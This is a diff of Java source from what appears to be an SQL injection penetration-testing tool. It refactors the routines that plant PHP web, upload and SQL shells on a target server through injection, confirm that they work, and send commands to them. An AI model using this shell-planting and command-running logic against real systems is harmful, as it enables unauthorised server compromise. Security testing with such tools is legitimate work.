26
26
import org .apache .logging .log4j .LogManager ;
27
27
import org .apache .logging .log4j .Logger ;
28
28
29
- import java .io .*;
29
+ import java .io .File ;
30
+ import java .io .FileInputStream ;
31
+ import java .io .IOException ;
32
+ import java .io .InputStream ;
30
33
import java .net .URI ;
31
34
import java .net .URLEncoder ;
32
35
import java .net .http .HttpHeaders ;
40
43
import java .nio .file .Paths ;
41
44
import java .time .Duration ;
42
45
import java .util .*;
43
- import java .util .concurrent .*;
44
- import java .util .function .BiConsumer ;
46
+ import java .util .concurrent .CompletionService ;
47
+ import java .util .concurrent .ExecutionException ;
48
+ import java .util .concurrent .ExecutorCompletionService ;
49
+ import java .util .concurrent .ExecutorService ;
45
50
import java .util .function .BiFunction ;
51
+ import java .util .function .BiPredicate ;
46
52
import java .util .regex .Pattern ;
47
53
48
54
/**
@@ -179,45 +185,61 @@ public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int ta
179
185
}
180
186
181
187
public String createExploitWeb (String pathExploit , String urlExploit , String pathNetshare , ExploitMethod exploitMethod ) throws JSqlException {
182
- BiConsumer < String , String > biFuncGetRequest = (String pathExploitFixed , String urlSuccess ) -> {
188
+ BiFunction < String , String , String > biFuncGetRequest = (String pathExploitFixed , String urlSuccess ) -> {
183
189
var request = new Request ();
184
190
request .setMessage (Interaction .ADD_TAB_EXPLOIT_WEB );
185
191
request .setParameters (urlSuccess );
186
192
this .injectionModel .sendToViews (request );
193
+ return urlSuccess ;
187
194
};
188
195
return this .createExploit (pathExploit , urlExploit , "exploit.web" , "web.php" , biFuncGetRequest , pathNetshare , exploitMethod );
189
196
}
190
197
191
198
public void createExploitUpload (String pathExploit , String urlExploit , String pathNetshare , ExploitMethod exploitMethod , File fileToUpload ) throws JSqlException {
192
- BiConsumer < String , String > biFuncGetRequest = (String pathExploitFixed , String urlSuccess ) -> {
199
+ BiFunction < String , String , String > biFuncGetRequest = (String pathExploitFixed , String urlSuccess ) -> {
193
200
try (InputStream streamToUpload = new FileInputStream (fileToUpload )) {
194
201
HttpResponse <String > result = this .upload (fileToUpload , urlSuccess , streamToUpload );
195
202
if (result .body ().contains (DataAccess .LEAD + "y" )) {
196
203
LOGGER .log (LogLevelUtil .CONSOLE_SUCCESS , "Upload successful: ack received for {}{}" , pathExploit , fileToUpload .getName ());
197
204
} else {
198
205
LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Upload failure: missing ack for {}{}" , pathExploit , fileToUpload .getName ());
199
206
}
200
- } catch (IOException | JSqlException | InterruptedException e ) {
207
+ } catch (InterruptedException e ) {
208
+ LOGGER .log (LogLevelUtil .IGNORE , e , e );
209
+ Thread .currentThread ().interrupt ();
210
+ } catch (IOException | JSqlException e ) {
201
211
throw new JSqlRuntimeException (e );
202
212
}
213
+ return urlSuccess ;
203
214
};
204
215
this .createExploit (pathExploit , urlExploit , "exploit.upl" , "upl.php" , biFuncGetRequest , pathNetshare , exploitMethod );
205
216
}
206
217
207
218
public String createExploitSql (String pathExploit , String urlExploit , String pathNetshare , ExploitMethod exploitMethod , String username , String password ) throws JSqlException {
208
- BiConsumer <String , String > biFuncGetRequest = (String pathExploitFixed , String urlSuccess ) -> {
209
- var request = new Request ();
210
- request .setMessage (Interaction .ADD_TAB_EXPLOIT_SQL );
211
- request .setParameters (urlSuccess , username , password );
212
- this .injectionModel .sendToViews (request );
219
+ BiFunction <String , String , String > biFuncGetRequest = (String pathExploitFixed , String urlSuccess ) -> {
220
+ var resultQuery = this .runSqlShell ("select 1337" , null , urlSuccess , username , password , false );
221
+ if (resultQuery != null && resultQuery .contains ("| 1337 |" )) {
222
+ var request = new Request ();
223
+ request .setMessage (Interaction .ADD_TAB_EXPLOIT_SQL );
224
+ request .setParameters (urlSuccess , username , password );
225
+ this .injectionModel .sendToViews (request );
226
+ return urlSuccess ;
227
+ }
228
+ return StringUtils .EMPTY ;
213
229
};
214
- // todo PDO
215
- var nameExploitValidated = this .createExploit (pathExploit , urlExploit , "exploit.sql.php7" , "sql.php" , biFuncGetRequest , pathNetshare , exploitMethod );
216
- if (StringUtils .isEmpty (nameExploitValidated )) {
217
- LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Exploit failure with php7, retrying with lower version..." );
218
- nameExploitValidated = this .createExploit (pathExploit , urlExploit , "exploit.sql" , "sql.php" , biFuncGetRequest , pathNetshare , exploitMethod );
230
+ var urlSuccess = this .createExploit (pathExploit , urlExploit , "exploit.sql.mysqli" , "sql.php" , biFuncGetRequest , pathNetshare , exploitMethod );
231
+ if (StringUtils .isEmpty (urlSuccess )) {
232
+ LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Failure with mysqli_query(), trying with pdo()..." );
233
+ urlSuccess = this .createExploit (pathExploit , urlExploit , "exploit.sql.pdo" , "sql.php" , biFuncGetRequest , pathNetshare , exploitMethod );
234
+ }
235
+ if (StringUtils .isEmpty (urlSuccess )) {
236
+ LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Failure with pdo(), trying with mysql_query()..." );
237
+ urlSuccess = this .createExploit (pathExploit , urlExploit , "exploit.sql.mysql" , "sql.php" , biFuncGetRequest , pathNetshare , exploitMethod );
219
238
}
220
- return nameExploitValidated ;
239
+ if (StringUtils .isEmpty (urlSuccess )) {
240
+ LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Failure with pdo(), trying with mysql_query()..." );
241
+ }
242
+ return urlSuccess ;
221
243
}
222
244
223
245
/**
@@ -229,7 +251,7 @@ public String createExploit(
229
251
String urlExploit ,
230
252
String keyPropertyExploit ,
231
253
String nameExploit ,
232
- BiConsumer < String , String > biFuncGetRequest ,
254
+ BiFunction < String , String , String > biFuncGetRequest ,
233
255
String pathNetshareFolder ,
234
256
ExploitMethod exploitMethod
235
257
) throws JSqlException {
@@ -244,7 +266,7 @@ public String createExploit(
244
266
.replace (DataAccess .SHELL_TRAIL , DataAccess .TRAIL );
245
267
246
268
// outfile + binary: content corruption
247
- BiFunction <String , String , Boolean > funcConfirm = (String pathFolder , String nameFile ) -> {
269
+ BiPredicate <String , String > biPredConfirm = (String pathFolder , String nameFile ) -> {
248
270
try {
249
271
String resultInjection = this .confirmExploit (pathFolder + nameFile );
250
272
return resultInjection .contains (bodyExploit );
@@ -263,15 +285,15 @@ public String createExploit(
263
285
pathNetshareFolder ,
264
286
nameExploit ,
265
287
pathRemoteFolder ,
266
- funcConfirm
288
+ biPredConfirm
267
289
);
268
290
} else if (exploitMethod == ExploitMethod .AUTO || exploitMethod == ExploitMethod .QUERY_BODY ) {
269
291
nameExploitValidated = this .injectionModel .getUdfAccess ().byQueryBody (
270
292
nbIndexesFound ,
271
293
pathRemoteFolder ,
272
294
nameExploit ,
273
295
UdfAccess .toHexChunks (bodyExploit .getBytes ()),
274
- funcConfirm
296
+ biPredConfirm
275
297
);
276
298
}
277
299
if (StringUtils .isEmpty (nameExploitValidated ) && exploitMethod == ExploitMethod .AUTO || exploitMethod == ExploitMethod .TEMP_TABLE ) {
@@ -280,23 +302,22 @@ public String createExploit(
280
302
UdfAccess .toHexChunks (bodyExploit .getBytes ()),
281
303
pathRemoteFolder + nameExploitRandom
282
304
);
283
- if (funcConfirm . apply (pathRemoteFolder , nameExploitRandom )) {
305
+ if (biPredConfirm . test (pathRemoteFolder , nameExploitRandom )) {
284
306
nameExploitValidated = nameExploitRandom ;
285
307
}
286
308
}
287
309
288
310
if (StringUtils .isEmpty (nameExploitValidated )) {
289
- LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Exploit creation failure: source file not found at [{}]" , pathRemoteFolder + nameExploitValidated );
311
+ LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Exploit creation failure: source file not found at [{}{} ]" , pathRemoteFolder , nameExploitValidated );
290
312
return null ;
291
313
}
292
314
nameExploit = nameExploitValidated ;
293
- LOGGER .log (LogLevelUtil .CONSOLE_SUCCESS , "Exploit creation successful: source file found at [{}]" , pathRemoteFolder + nameExploitValidated );
315
+ LOGGER .log (LogLevelUtil .CONSOLE_SUCCESS , "Exploit creation successful: source file found at [{}{} ]" , pathRemoteFolder , nameExploitValidated );
294
316
295
- this .checkUrls (urlExploit , nameExploit , biFuncGetRequest );
296
- return nameExploitValidated ;
317
+ return this .checkUrls (urlExploit , nameExploit , biFuncGetRequest );
297
318
}
298
319
299
- private void checkUrls (String urlExploit , String nameExploit , BiConsumer < String , String > biFuncGetRequest ) {
320
+ private String checkUrls (String urlExploit , String nameExploit , BiFunction < String , String , String > biFuncGetRequest ) {
300
321
String urlExploitFixed = urlExploit ;
301
322
if (!urlExploitFixed .isEmpty ()) {
302
323
urlExploitFixed = urlExploitFixed .replaceAll ("/*$" , StringUtils .EMPTY ) +"/" ;
@@ -323,10 +344,11 @@ private void checkUrls(String urlExploit, String nameExploit, BiConsumer<String,
323
344
}
324
345
String urlSuccess = this .getExploitUrl (nameExploit , directoryNames , urlProtocol );
325
346
if (urlSuccess != null ) {
326
- biFuncGetRequest .accept (nameExploit , urlSuccess );
347
+ urlSuccess = biFuncGetRequest .apply (nameExploit , urlSuccess );
327
348
} else {
328
349
LOGGER .log (LogLevelUtil .CONSOLE_ERROR , "Exploit access failure: URL not found" );
329
350
}
351
+ return urlSuccess ;
330
352
}
331
353
332
354
private static void copyToShare (String pathFile , String bodyExploit ) throws JSqlException {
@@ -443,6 +465,10 @@ public String runWebShell(String command, UUID uuidShell, String urlExploit) {
443
465
* @param password password [optional]
444
466
*/
445
467
public String runSqlShell (String command , UUID uuidShell , String urlExploit , String username , String password ) {
468
+ return this .runSqlShell (command , uuidShell , urlExploit , username , password , true );
469
+ }
470
+
471
+ public String runSqlShell (String command , UUID uuidShell , String urlExploit , String username , String password , boolean isWithView ) {
446
472
String result = this .runCommandShell (String .format (
447
473
"%s?q=%s&u=%s&p=%s" ,
448
474
urlExploit ,
@@ -465,10 +491,12 @@ public String runSqlShell(String command, UUID uuidShell, String urlExploit, Str
465
491
result = result .replace ("<SQLe>" , StringUtils .EMPTY ) + "\n " ;
466
492
}
467
493
468
- var request = new Request (); // Unfroze interface
469
- request .setMessage (Interaction .GET_EXPLOIT_SQL_RESULT );
470
- request .setParameters (uuidShell , result , command );
471
- this .injectionModel .sendToViews (request );
494
+ if (isWithView ) {
495
+ var request = new Request (); // Unfroze interface
496
+ request .setMessage (Interaction .GET_EXPLOIT_SQL_RESULT );
497
+ request .setParameters (uuidShell , result , command );
498
+ this .injectionModel .sendToViews (request );
499
+ }
472
500
return result ;
473
501
}
474
502
0 commit comments